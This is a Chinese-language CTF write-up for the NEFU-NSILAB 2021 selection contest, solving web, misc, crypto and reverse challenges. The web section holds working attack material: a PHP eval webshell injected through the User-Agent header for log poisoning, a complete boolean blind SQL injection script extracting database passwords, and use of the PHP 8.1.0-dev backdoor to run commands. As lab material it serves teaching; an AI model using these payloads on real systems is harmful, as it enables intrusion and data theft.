title: NEFU-NSILAB2021选拔赛WriteUp
tags:
- CTF
- NEFU
- WP
abbrlink: fdc156ff
date: 2021-11-12 11:27:23
Web
signin
打开看到源码:
<?phphighlight_file(__FILE__);$file = $_GET['file'];if ($file) {include $file;}
没有任何过滤的文件包含,尝试/根据提示进行日志包含,首先在访问时带上 User-Agent: <?php eval($_POST[1]); ?> 在日志里面写一句话。

然后包含日志文件 /var/log/nginx/access.log,传一个 phpinfo(); 可以看到成功 getshell。

蚁剑连接或手动 system('ls /');,可以看到根目录下有一个 flag.sh 内容为:
#!/bin/shsed -i "s/root/$FLAG/" /etc/passwdexport FLAG=not_flagFLAG=not_flag
可知 flag 被写进了 /etc/passwd,打开找到 flag。

babysqli
打开看到一个登录页面,随意输入一个用户名密码,跳转到 doLogin.php 并提示 Wrong password!。根据题目名字可知是 sql 注入,在 username 参数后面加一个 ' 后出现了报错。

直接盲猜一个报错注入

咦?怎么什么都没出来?原来是 updatexml extractvalue floor 都被禁用了,同理可以尝试出被禁用的还有 = and &&,于是就有很多解法,这里因为没有回显于是进行了一个布尔盲注,写个脚本:
import timeimport requestsurl = "http://ctf.nefu.edu.cn:29097/doLogin.php"true_flag = "Congratutions!"# ctftraining,information_schema,mysql,performance_schema,test,web_sqli# payload = "select group_concat(schema_name) from information_schema.schemata"# user# payload = "select group_concat(table_name) from information_schema.tables where table_schema like database()"# id,username,passwd# payload = "select group_concat(column_name) from information_schema.columns where table_schema like database()"payload = "select group_concat(passwd) from web.user"template = "-1' union select 1,2,if(ascii(substr(({}), {}, 1))>{}, 1, 0) #"def valid_payload(offset: int, index: int) -> bool:response = requests.post(url, data={"username": template.format(payload, offset, index),"password": 1})return true_flag in response.textindex = 1result = ""while True:start = 32end = 127while not(abs(start - end) == 1 or start == end):everage = (start + end) // 2if valid_payload(index, everage):start = everageelse:end = everageif end < start:end = startif chr(end) == "!":breakresult += chr(end)print(f"[*] result: {result}")index += 1
脚本注出库名、表名、列名,最后注出 admin 的密码就是 flag,这里注意用 like 代替了被禁用的 =。

ezcve
打开一看就输出个字符串 Hello Nefuer!,别的啥都没有。观察 Response Headers 可发现 X-Powered-By: PHP/8.1.0-dev,再根据题目名字搜索可知 PHP 8.1.0-dev 有一个 RCE漏洞,根据文章提示利用漏洞执行任意命令。

题目提示 flag 在环境变量里,执行 env 命令获取所有环境变量,得到 flag。

Misc
signin
下载文件是一个文本,里面明显是 base 编码,放进 CyberChef 里面,进行 base64+base32+base58 解码得到 flag。

ezpng
下载文件得到一个 png 文件,通过 010editor 或其他方式可知该图片的 CRC 值不对,高度被改过。

手动更改高度的值或者通过脚本等方式爆破高度得到完整图片:

图片中包含 flag:

traffic
下载文件解压压缩包,得到一个 pcapng 文件,wireshark 打开进行流量分析,导出其中的所有 http 对象

其中有两个文件 secret 和 test 看起来不对劲,根据请求中的信息可知他们是 brotli 编码的,写个脚本或者通过其他方式解码:
import brotlidef decode(file: str):with open(file, "rb") as r:with open(f"{file[0]}out", "wb") as w:w.write(brotli.decompress(r.read()))for name in ["secret", "test"]:decode(name)
得到 sout 和 tout 文件,查看文件内容或根据题目提示可知 tout 文件为 protobuf 协议的 .proto 文件,sout 可能为编码后的 protobuf 数据,这里使用 protoc 将 sout 作为 PBResponse 解码得到:
$ protoc --decode PBResponse tout < soutcode: 200flag_part_convert_to_hex_plz: 15100450dataList {flag_part: "e2345"junk_data: "7af2c"}dataList {flag_part: "7889b0"junk_data: "82bc0"}flag_part_plz_convert_to_hex: 16453958flag_last_part: "d172a38dc"
根据字段名提示,将 flag_part_convert_to_hex_plz 和 flag_part_plz_convert_to_hex 的值转为十六进制后和其他部分拼接,得到 flag:e66a22e23457889b0fb1146d172a38dc。
Crypto
warmup
openssl rsautl -decrypt -in flag.enc -inkey private.pem -out msg.txt
即可得到flag
advance
import gmpy2import hashlibdef transform(x, y): # 使用辗转相处将分数 x/y 转为连分数的形式res = []while y:res.append(x // y)x, y = y, x % yreturn resdef continued_fraction(sub_res):numerator, denominator = 1, 0for i in sub_res[::-1]: # 从sublist的后面往前循环denominator, numerator = numerator, i * numerator + denominatorreturn denominator, numerator # 得到渐进分数的分母和分子,并返回# 求解每个渐进分数def sub_fraction(x, y):res = transform(x, y)res = list(map(continued_fraction, (res[0:i] for i in range(1, len(res))))) # 将连分数的结果逐一截取以求渐进分数return resdef get_pq(a, b, c): # 由p+q和pq的值通过维达定理来求解p和qpar = gmpy2.isqrt(b * b - 4 * a * c) # 由上述可得,开根号一定是整数,因为有解x1, x2 = (-b + par) // (2 * a), (-b - par) // (2 * a)return x1, x2def wienerAttack(e, n):for (d, k) in sub_fraction(e, n): # 用一个for循环来注意试探e/n的连续函数的渐进分数,直到找到一个满足条件的渐进分数if k == 0: # 可能会出现连分数的第一个为0的情况,排除continueif (e * d - 1) % k != 0: # ed=1 (mod φ(n)) 因此如果找到了d的话,(ed-1)会整除φ(n),也就是存在k使得(e*d-1)//k=φ(n)continuephi = (e * d - 1) // k # 这个结果就是 φ(n)px, qy = get_pq(1, n - phi + 1, n)if px * qy == n:p, q = abs(int(px)), abs(int(qy)) # 可能会得到两个负数,负负得正未尝不会出现d = gmpy2.invert(e, (p - 1) * (q - 1)) # 求ed=1 (mod φ(n))的结果,也就是e关于 φ(n)的乘法逆元dreturn dprint("该方法不适用")n = 101991809777553253470276751399264740131157682329252673501792154507006158434432009141995367241962525705950046253400188884658262496534706438791515071885860897552736656899566915731297225817250639873643376310103992170646906557242832893914902053581087502512787303322747780420210884852166586717636559058152544979471e = 46731919563265721307105180410302518676676135509737992912625092976849075262192092549323082367518264378630543338219025744820916471913696072050291990620486581719410354385121760761374229374847695148230596005409978383369740305816082770283909611956355972181848077519920922059268376958811713365106925235218265173085d = wienerAttack(e, n)print("d=", d)k = hex(d)[2:]flag = "NEFUCTF{" + hashlib.md5(k.encode('utf-8')).hexdigest() + "}"# flag = "NEFUCTF{" + hashlib.md5(hex(d)).hexdigest() + "}"print(flag)# NEFUCTF{{47bf28da384590448e0b0d23909a25a4}
hard
RSA加密
pow(enc,e,N)
RSA解密
n==>p,q
phi=(p-1)*(q-1)
d = gmpy2.invert(e,phi)
m=pow(enc,d,n)
本题常规解题思路:
enc已知 n已知 d?==> e已知 ,求phi ==>求p和q
看着加密脚本中多次出现p及p^r,
本打算直接开用p=gmpy2.iroot(n,r)[0] 开多次方根求p,进而求q //根据加密脚本逆运算 未果 开不出来 ╮(╯▽╰)╭
另一种思路:
e太大 可使用算法从e中快速推断出d的值。 可使用Wiener’s Attack进行解d
求出d可直接求m
但是这样也确实解不出来
好吧 正确解题思路:
n==>分解n得到k个p 即n=pk
phi=(pk)-(p**k-1) //由欧拉函数得
d = gmpy2.invert(e,phi)
m=pow(enc,d,n)
欧拉函数学习链接:https://blog.csdn.net/liuzibujian/article/details/81086324
这个数学知识不看还真不行,看这个链接里面的”欧拉函数的几个性质”即可
题目中幂使用的是r而不是k
(python中使用**代表多少次幂)
#!/usr/bin/python#coding:utf-8import base64import gmpy2import libnumfrom Crypto.Util.number import long_to_bytes,bytes_to_longc = "..."e = ...p = ...n = p**4phi = p**4-p**3#c = int(base64.b64decode(c).encode('hex'),16) 延伸c = bytes_to_long(c.decode('base64'))d = gmpy2.invert(e,phi)m = pow(c,d,n)print long_to_bytes(m)
Reverse
signin
将程序拖入IDA后在字符串列表可以找到flag
signin2
查壳查到是upx壳
手脱或用工具脱壳后用ida打开
shift+f12键查看所有字符串可以看到flag
Maze(misc)
在hex-view里看到了迷宫,点开check函数看到
bool __cdecl check(char *flag){char *v1; // eaxint v2; // eaxchar *cur; // [esp+Ch] [ebp-4h]170个字符,其中有一个是空字符'0'cur = &maze[14];//这是一个含14*12的迷宫while ( *flag && *cur != '*' )//由此可见'*'是迷宫的墙{v1 = flag++;v2 = *v1;if ( v2 == 'd' ){++cur;//d为向右走一步}else if ( v2 > 'd' ){if ( v2 == 's' ){cur += 13;//s为向右13步,在本二维数组中为向左下方一步或向右13步}else{if ( v2 != 'w' )return 0;cur -= 13;//w为向右上方一步或向左13步}}else{if ( v2 != 'a' )return 0;--cur;//a为向左一步}}return *cur == '#';//'#'是迷宫终点}
根据题意,这是个14*12的迷宫,@是起点,#是终点,flag走迷宫的路径,且d:向前一步,a:向后一步,s:向前13步,w:向后13步,写代码生成迷宫
int main(){char s[]="**************@************-************-***-**-*****--*****-*****-***#**-*****--**----******-*****-******-****--******---**-*******-*-----******-------*****************";int i,j;for(i=0;i<12;i++){for(j=0;j<14;j++){if(s[i*14+j]=='-')cout<<"0"<<' ';else if(s[i*14+j]=='*')cout<<"X"<<' ';elsecout<<s[i*14+j]<<' ';}cout<<endl;}return 0;}
可以写BFS找,也可以直接手动找,得到顺序sssssdsssddsdddwwdwwaaaw,包上nefuctf{}即可提交
Crypto
手逆python字节码。源码用python -m dis code.py生成。
字节码还原的相关分析参考:
https://docs.python.org/zh-cn/3/library/dis.html
https://bbs.pediy.com/thread-262577.htm
得到源码:
import base64k = 0_ = 0c = b"..." #base64密文略c = base64.b64decode(c).decode().split(",")def x(n):if n > 1:for i in range(2, n):if (n % i) == 0:return Falsebreakreturn Trueelse:return Falsez = lambda n: (2 ** n) - 1out = ''while _ < len(c):if x(z(k)):out += chr(int(c[_]) ^ z(k))_ += 1k += 1print(out.join(['flag{','}']))
c解出的list与满足函数x()条件的 分别异或得到结果,而x()中判断
是否为素数。
直接运行在短时间只能得到前几位的结果,是因为 的值为指数级增长,而且x()中又需对每个数从2至当前数遍历,非常耗时。
换个角度,c的list长度为47,那么只需寻找前47个满足 为素数的 k 值即可。
这里可以自行学习一下梅森素数
可见满足梅森素数()的梅森指数(k 值)必定也是素数,而寻找梅森素数的过程很复杂且极其耗时(发现第35-51个梅森素数的过程,使用巨型分布式算力都花费了近20年)。
对于著名数列,可以使用在线整数数列查询网站(OEIS)查询,梅森素数数列里不足47个,不过可以从梅森指数数列里取47个 k 再计算 。
import base64_ = 0c = b"..." #base64密文略c = base64.b64decode(c).decode().split(",")me = [2, 3, 5, 7, 13, 17, 19, 31, 61, 89, 107, 127, 521, 607, 1279, 2203, 2281, 3217, 4253, 4423, 9689, 9941, 11213, 19937, 21701, 23209, 44497, 86243, 110503, 132049, 216091, 756839, 859433, 1257787, 1398269, 2976221, 3021377, 6972593, 13466917, 20996011, 24036583, 25964951, 30402457, 32582657, 37156667, 42643801, 43112609]out = ''while _ < len(c):out += chr(int(c[_]) ^ 2**me[_]-1)_ += 1print(out.join(['flag{','}']))
